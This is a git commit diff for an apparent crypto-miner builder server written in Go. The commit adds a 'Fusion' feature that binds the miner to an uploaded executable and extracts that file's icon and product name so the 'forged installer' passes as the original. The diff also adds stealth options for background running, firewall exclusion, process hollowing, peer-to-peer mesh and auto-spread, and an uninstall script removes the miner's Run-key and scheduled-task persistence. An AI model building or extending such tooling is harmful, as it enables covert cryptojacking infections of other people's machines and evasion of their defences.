Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -2,6 +2,7 @@ package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
@@ -50,6 +51,9 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
@@ -58,7 +62,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", "-s -w -H windowsgui", "-o", outputPath, ".")
if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil {
log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err)
}
ldflags := fusionLdflags(prepPath)
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = fusionDir
cmd.Env = append(os.Environ(),
"GOOS=windows",

View File

@@ -50,6 +50,7 @@ type BuildRequest struct {
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
FirewallExclusion bool `json:"firewall_exclusion"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
@@ -61,6 +62,9 @@ type BuildRequest struct {
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
}
type BuildResponse struct {
@@ -74,6 +78,8 @@ type BuildResponse struct {
UninstallFileName string `json:"uninstall_file_name,omitempty"`
UninstallPath string `json:"uninstall_path,omitempty"`
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Error string `json:"error,omitempty"`
@@ -142,6 +148,9 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
defer file.Close()
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
@@ -169,6 +178,10 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
if req.FusionEnabled && req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
@@ -285,23 +298,19 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
fusionEnabled = true
}
// Optional "export" copy for convenience (still keeps canonical build inside data/builds/<id>/...)
// We only allow relative paths under dataDir to avoid writing outside the server workspace.
exportPath, err := h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if strings.TrimSpace(req.OutputDir) != "" {
exportDir := filepath.Join(h.dataDir, filepath.Clean(strings.TrimSpace(req.OutputDir)))
rel, err := filepath.Rel(h.dataDir, exportDir)
if err != nil || rel == "." || strings.HasPrefix(rel, "..") {
return BuildResponse{Success: false, Error: "Invalid output_dir (must be a relative folder under data_dir)"}, http.StatusBadRequest, ""
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
log.Printf("[Builder] secondary export: %v", err)
} else {
_ = eu
if exportPath == "" {
exportPath = ep
}
}
if err := os.MkdirAll(exportDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create output_dir"}, http.StatusInternalServerError, ""
}
exportPath := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportPath); err != nil {
return BuildResponse{Success: false, Error: "Failed to export build to output_dir"}, http.StatusInternalServerError, ""
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
}
fileInfo, err := os.Stat(finalPath)
@@ -351,11 +360,59 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
UninstallFileName: uninstallName,
UninstallPath: uninstallPath,
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
WorkerFile: workerName,
}, http.StatusOK, finalPath
}
// publishRootExecutable writes the forged installer as a single file in the project root.
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
if h.projectRoot == "" || h.projectRoot == "." {
abs, _ := filepath.Abs(finalPath)
return abs, nil
}
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
if err := copyFile(finalPath, dest); err != nil {
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
}
log.Printf("[Builder] Forge output -> %s", dest)
return dest, nil
}
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
clean := strings.TrimSpace(outputDir)
if clean == "" {
return "", "", nil
}
clean = filepath.Clean(clean)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
}
exportDir := ""
if h.projectRoot != "" {
exportDir = filepath.Join(h.projectRoot, clean)
} else {
exportDir = filepath.Join(h.dataDir, clean)
}
if err := os.MkdirAll(exportDir, 0755); err != nil {
return "", "", fmt.Errorf("failed to create export folder: %w", err)
}
exportExe := filepath.Join(exportDir, finalName)
if err := copyFile(finalPath, exportExe); err != nil {
return "", "", fmt.Errorf("failed to export build: %w", err)
}
exportUninstall := filepath.Join(exportDir, uninstallName)
_ = copyFile(uninstallPath, exportUninstall)
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
return exportExe, exportUninstall, nil
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" {
return fmt.Errorf("worker_name is required")
@@ -458,12 +515,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.PoolPass = "x"
}
if req.FusionEnabled {
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel"
}
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
@@ -559,9 +616,13 @@ func GetBuiltinConfig() BuiltinConfig {
SelfHealing: %v,
FileLogging: %v,
StealthMode: %v,
FirewallExclusion: %v,
AIEnabled: %v,
AIOllamaEndpoint: %q,
AIModel: %q,
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -598,9 +659,13 @@ func GetBuiltinConfig() BuiltinConfig {
req.SelfHealing,
req.FileLogging,
req.StealthMode,
req.FirewallExclusion,
req.AIEnabled,
req.AIOllamaEndpoint,
req.AIModel,
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
)
}

View File

@@ -0,0 +1,11 @@
//go:build !windows
package builder
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
return nil
}
func fusionLdflags(prepPath string) string {
return "-s -w -H windowsgui"
}

View File

@@ -0,0 +1,91 @@
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
func extractIconFromEXE(exePath, icoPath string) error {
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
script := fmt.Sprintf(`
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Drawing
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s')
if ($null -eq $icon) { throw 'no icon on executable' }
$dir = Split-Path -Parent '%s'
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
$fs = [System.IO.File]::Create('%s')
$icon.Save($fs)
$fs.Close()
`, exeEsc, icoEsc, icoEsc)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out)))
}
if _, err := os.Stat(icoPath); err != nil {
return fmt.Errorf("icon file not created: %w", err)
}
return nil
}
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
return err
}
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
cmd := exec.Command(
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
"make",
"--arch", "amd64",
"--in", fusionDir,
"--icon", iconPath,
"--file-description", productName,
"--product-name", productName,
"--original-filename", filepath.Base(prepPath),
)
cmd.Dir = fusionDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
}
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
return nil
}
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
func peSubsystem(exePath string) int {
data, err := os.ReadFile(exePath)
if err != nil || len(data) < 128 {
return 2
}
peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24)
if peOff+24+68+2 > len(data) {
return 2
}
if string(data[peOff:peOff+4]) != "PE\x00\x00" {
return 2
}
opt := peOff + 24
sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8)
return sub
}
func fusionLdflags(prepPath string) string {
flags := "-s -w"
if peSubsystem(prepPath) == 2 {
flags += " -H windowsgui"
}
return flags
}

View File

@@ -113,6 +113,12 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
if (%t) {
Write-Host "Removing Windows Firewall rules..."
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue
}
if ($true) {
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
}
@@ -124,7 +130,7 @@ if ($InstallDir -and (Test-Path $InstallDir)) {
Write-Host "Done. Miner removed."
if (%t) { Read-Host 'Press Enter to close' }
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), !req.StealthMode)
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), req.FirewallExclusion, !req.StealthMode)
}
func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) {